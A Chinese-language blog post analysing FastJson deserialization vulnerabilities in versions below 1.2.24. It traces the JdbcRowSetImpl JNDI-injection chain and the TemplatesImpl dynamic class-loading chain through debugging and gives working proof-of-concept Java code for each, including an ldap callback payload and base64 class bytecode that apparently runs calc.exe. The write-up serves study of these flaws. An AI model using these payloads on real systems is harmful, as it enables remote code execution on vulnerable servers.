Java反序列化FastJson篇之漏洞分析(二)

前言

上篇跟着网上的教程顺了一遍流程,主要是为了能更熟悉动态调试。

分析

FastJSON的解析会分别触发set方法和get方法,而且根据是否有@type字段,会解析setter或者getter方法的恶意代码。

要求

FastJson反序列化和原生反序列化的差别:

  • FastJson不需要有Serializable字段
  • 不需要变量不是transient或者可控变量
    • setter
    • 或者public/static
    • 或者getter需要满足要求:
  • 反序列化入口点是setter或者getter
  • 执行点可以选择反射或者类加载

FastJson版本<1.2.24

JdbcRowSetImpl类+JNDI出网

image.png
JdbcRowSetImpl这个类其中的connect函数里面使用了lookup函数,可以造成JNDI注入
然后找下去,看看getDataSourceName所在的BaseRowSet类。
发现有setter方法:
image.png
可以修改其参数。继续找能调用connect方法的set/get方法,优先找set方法,因为get方法需要有返回参数限制。
ctrl + shift + alt + f7全局寻找一下,直接发现一个setAutoCommit方法:
image.png
image.png
我们这里测试一下试一试,生成一个测试反连。
image.png
注意这里Payload配置之后要点一下生成🤦‍。

1
2
3
4
5
6
7
8
9
10
11
package com.natro92;

import com.alibaba.fastjson.JSON;

public class FastJsonHackTest {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/XniMHNou\",\"AutoCommit\":\"false\"}";
JSON.parseObject(s);
}
}

image.png

PS:这里JDK版本需要满足 8u161 < jdk < 8u191

TemplatesImpl类+动态类加载(不出网)

由于变量都是private所以需要在反序列化时加上Feature.SupportNonPublicField参数。
image.png
这个其实前面已经看了好几次了,这里再看下:
先到getOutputProperties
image.png
进入newTransformer
image.png
再进getTransletInstance
然后就是熟悉的对_name_class的判断。
再进defineTransletClasses
这里如果看过我前面的内容,这里应该很熟悉了:
image.png

  • _bytecodes[]为构造注入的位置
  • _tfactory不为空,且需要为AbstractTranslet子类。
  • 加载defineClass

这里总结下需要满足的点:

  • Feature.SupportNonPublicField参数
  • _bytecodes[]需进行base64编码
  • _bytecodes[]中加载的类需为AbstractTranslet的子类
  • _name不为null
  • _tfactory不为null

然后按照要求编写Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.natro92;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class FastJsonTemplatesImplTest {
public static void main(String[] args) throws IOException {
// base64Encode
byte[] fileContent = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc4Test\\Evil250546845304900.class"));
// 使用Base64编码
String encodedString = Base64.getEncoder().encodeToString(fileContent);

System.out.println(encodedString);
String exp = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"" +
encodedString
+ "\"],'_name':'exp','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parse(exp, Feature.SupportNonPublicField);
}
}
// yv66vgAAADQAJAEAEGNvbS9uYXRybzkyL0V2aWwHACABABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAcBAAl0cmFuc2Zvcm0BAGwoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb247KVYBAARDb2RlAQAKRXhjZXB0aW9ucwEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgcADQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBADNjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1ET01FeGNlcHRpb24HABABAAg8Y2xpbml0PgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lBwAUAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFgAXCgAVABgBAAhjYWxjLmV4ZQgAGgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABwAHQoAFQAeAQATRXZpbDI1MDU0Njg0NTMwNDkwMAEABjxpbml0PgwAIQATCgAIACIAIQACAAgAAAAAAAQAAQAJAAoAAgALAAAADQAAAAMAAAABsQAAAAAADAAAAAQAAQAOAAEACQAPAAIACwAAAA0AAAAEAAAAAbEAAAAAAAwAAAAEAAEAEQAIABIAEwABAAsAAAAWAAIAAAAAAAq4ABkSG7YAH1exAAAAAAABACEAEwABAAsAAAARAAEAAQAAAAUqtwAjsQAAAAAAAQAFAAAAAgAG

image.png

FastJsonBcel类+动态类加载(不出网)

这个缺个依赖,没整明白。可以看看原文:

Java反序列化之FastJson反序列化及绕过 - 先知社区

FastJson版本>1.2.25

过两天再看,干点别的,TODO了。

参考链接

Java反序列化之FastJson反序列化及绕过 - 先知社区
Fastjson 反序列化分析 - 跳跳糖